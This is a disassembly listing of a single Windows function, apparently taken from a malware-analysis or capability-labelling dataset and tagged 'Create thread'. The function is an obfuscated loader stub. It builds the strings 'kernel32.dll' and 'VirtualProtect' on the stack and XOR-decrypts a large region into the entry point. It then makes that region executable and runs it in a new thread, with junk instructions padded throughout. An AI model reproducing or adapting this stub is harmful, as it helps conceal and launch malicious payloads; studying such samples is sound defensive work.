Function at 0x19aadbc
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
nop
pushfd
inc edi
dec edi
popfd
call fcn.019ab179
push esi
pop esi
lea eax, [ebp - 0xd8]
push ecx
push eax
pop eax
pop ecx
push eax
push esi
pop esi
pop eax
mov ebx, 0x61
mov esi, esi
pushfd
push 0x79c2472e
add esp, 4
popfd
add bx, 0xa
mov edi, edi
mov word [eax], bx
pushfd
push esi
add esp, 4
popfd
sub bx, 6
pushfd
xor ecx, 0x54707209
xor ecx, 0x54707209
popfd
mov word [eax + 2], bx
pushfd
xor esi, 0xf1e40cc1
xor esi, 0xf1e40cc1
popfd
pushfd
push edi
add esp, 4
popfd
add bx, 0xd
xchg edx, ecx
xchg ecx, edx
push ebx
pop ebx
mov word [eax + 4], bx
xchg ebx, eax
xchg ebx, eax
sub bx, 4
push ebx
pop ebx
push ebx
pop ebx
mov word [eax + 6], bx
mov ecx, ecx
xchg ecx, eax
xchg ecx, eax
sub bx, 9
mov ecx, ecx
pushfd
push eax
add esp, 4
popfd
mov word [eax + 8], bx
pushfd
push edi
add esp, 4
popfd
add bx, 7
pushfd
xor edi, 0x854e47f4
xor edi, 0x854e47f4
popfd
mov word [eax + 0xa], bx
pushfd
inc edx
dec edx
popfd
xchg ecx, ecx
sub bx, 0x39
xchg esi, ebx
xchg ebx, esi
push edx
pop edx
mov word [eax + 0xc], bx
mov edx, edx
pushfd
inc esi
dec esi
popfd
dec bx
xchg ebx, ebx
mov word [eax + 0xe], bx
pushfd
push esi
add esp, 4
popfd
push edx
push ebx
pop ebx
pop edx
sub bx, 4
push edx
push esi
pop esi
pop edx
mov word [eax + 0x10], bx
pushfd
push 0x87319d21
add esp, 4
popfd
pushfd
push 0x169d28d7
add esp, 4
popfd
add bx, 0x36
pushfd
push ecx
add esp, 4
popfd
mov word [eax + 0x12], bx
mov ebx, ebx
add bx, 8
push esi
push ecx
pop ecx
pop esi
mov word [eax + 0x14], bx
pushfd
push eax
add esp, 4
popfd
mov word [eax + 0x16], bx
mov edx, edx
mov word [eax + 0x18], 0
pushfd
xor ecx, 0x6b91fb7a
xor ecx, 0x6b91fb7a
popfd
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
push edi
push ecx
pop ecx
pop edi
mov dword [ebp - 0x10], eax
push ecx
push esi
pop esi
pop ecx
lea eax, [ebp - 0xd8]
pushfd
push 0x4bee6fc1
add esp, 4
popfd
mov ebx, 0x61
push esi
pop esi
push eax
pop eax
sub bl, 0xb
xchg ebx, ebx
xchg ecx, edi
xchg edi, ecx
mov byte [eax], bl
mov ecx, ecx
xchg ecx, ecx
add bl, 0x13
mov ebx, ebx
push eax
push edi
pop edi
pop eax
mov byte [eax + 1], bl
pushfd
xor esi, 0x95e293df
xor esi, 0x95e293df
popfd
push ebx
push esi
pop esi
pop ebx
add bl, 9
mov esi, esi
mov byte [eax + 2], bl
pushfd
push ecx
add esp, 4
popfd
pushfd
push 0xff6dac20
add esp, 4
popfd
add bl, 2
mov edx, edx
pushfd
push 0xe389df0
add esp, 4
popfd
mov byte [eax + 3], bl
xchg esi, ebx
xchg ebx, esi
inc bl
xchg edx, edi
xchg edi, edx
nop
mov byte [eax + 4], bl
pushfd
push ebx
add esp, 4
popfd
sub bl, 0x14
xchg edx, ebx
xchg ebx, edx
pushfd
inc eax
dec eax
popfd
mov byte [eax + 5], bl
pushfd
push esi
add esp, 4
popfd
add bl, 0xb
xchg edi, ebx
xchg ebx, edi
mov byte [eax + 6], bl
pushfd
inc ecx
dec ecx
popfd
sub bl, 0x1c
nop
mov byte [eax + 7], bl
push ecx
pop ecx
add bl, 0x22
xchg ecx, ecx
mov byte [eax + 8], bl
pushfd
inc ecx
dec ecx
popfd
sub bl, 3
pushfd
xor ebx, 0x32b755c1
xor ebx, 0x32b755c1
popfd
mov byte [eax + 9], bl
mov esi, esi
pushfd
push ebx
add esp, 4
popfd
add bl, 5
push edi
push ecx
pop ecx
pop edi
xchg edx, edx
mov byte [eax + 0xa], bl
xchg esi, eax
xchg esi, eax
sub bl, 0xf
push edi
push eax
pop eax
pop edi
mov byte [eax + 0xb], bl
xchg edi, eax
xchg edi, eax
sub bl, 2
push edx
push eax
pop eax
pop edx
xchg edx, edi
xchg edi, edx
mov byte [eax + 0xc], bl
pushfd
push esi
add esp, 4
popfd
xchg ebx, esi
xchg esi, ebx
add bl, 0x11
mov edx, edx
mov edi, edi
mov byte [eax + 0xd], bl
xchg edi, edi
mov byte [eax + 0xe], 0
mov esi, esi
push ebx
pop ebx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
push edi
add esp, 4
popfd
pushfd
push eax
add esp, 4
popfd
mov dword [ebp - 0xc], eax
pushfd
push 0x7c1e9bda
add esp, 4
popfd
lea eax, [ebp - 8]
xchg edi, ecx
xchg ecx, edi
pushfd
inc edi
dec edi
popfd
push eax
push 4
push 0xe713c9
push entry0
call dword [ebp - 0xc]
xchg edx, eax
xchg edx, eax
pushfd
push edi
add esp, 4
popfd
mov edi, entry0
push eax
push ecx
pop ecx
pop eax
mov esi, 0x40100e
xchg ecx, eax
xchg ecx, eax
mov ecx, 0xe713c9
push eax
push edx
pop edx
pop eax
pushfd
inc ecx
dec ecx
popfd
mov edx, 0x4884c8a0
pushfd
push 0x897ab59e
add esp, 4
popfd
pushfd
push 0x2d37de11
add esp, 4
popfd
mov ebx, 0xdd31899a
push ecx
push ebx
pop ebx
pop ecx
cld
mov eax, eax
lodsb al, byte [esi]
xchg edx, edx
xor al, dl
xchg edx, edx
stosb byte es:[edi], al
mov edx, edx
ror edx, 5
mov ebx, ebx
imul edx, edx, 7
mov edi, edi
test ebx, 1
mov ebx, ebx
je 0x19ab0d9
mov ecx, ecx
add esi, 1
mov edi, edi
ror ebx, 1
xchg ecx, ecx
dec ecx
xchg edi, edi
test ecx, ecx
mov eax, eax
jne 0x19ab0b2
push edi
pop edi
lea eax, [ebp - 8]
pushfd
push ecx
add esp, 4
popfd
mov edi, edi
push eax
push 0x20
push 0xe713c9
push entry0
call dword [ebp - 0xc]
pushfd
push 0x4970f43a
add esp, 4
popfd
lea eax, [ebp - 4]
pushfd
xor esi, 0xb3523468
xor esi, 0xb3523468
popfd
mov edx, edx
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
pushfd
inc ebx
dec ebx
popfd
xchg ebx, edx
xchg edx, ebx
pushfd
xor edi, 0xe742d40c
xor edi, 0xe742d40c
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
push 0xc803b5a7
add esp, 4
popfd
jmp 0x19ab138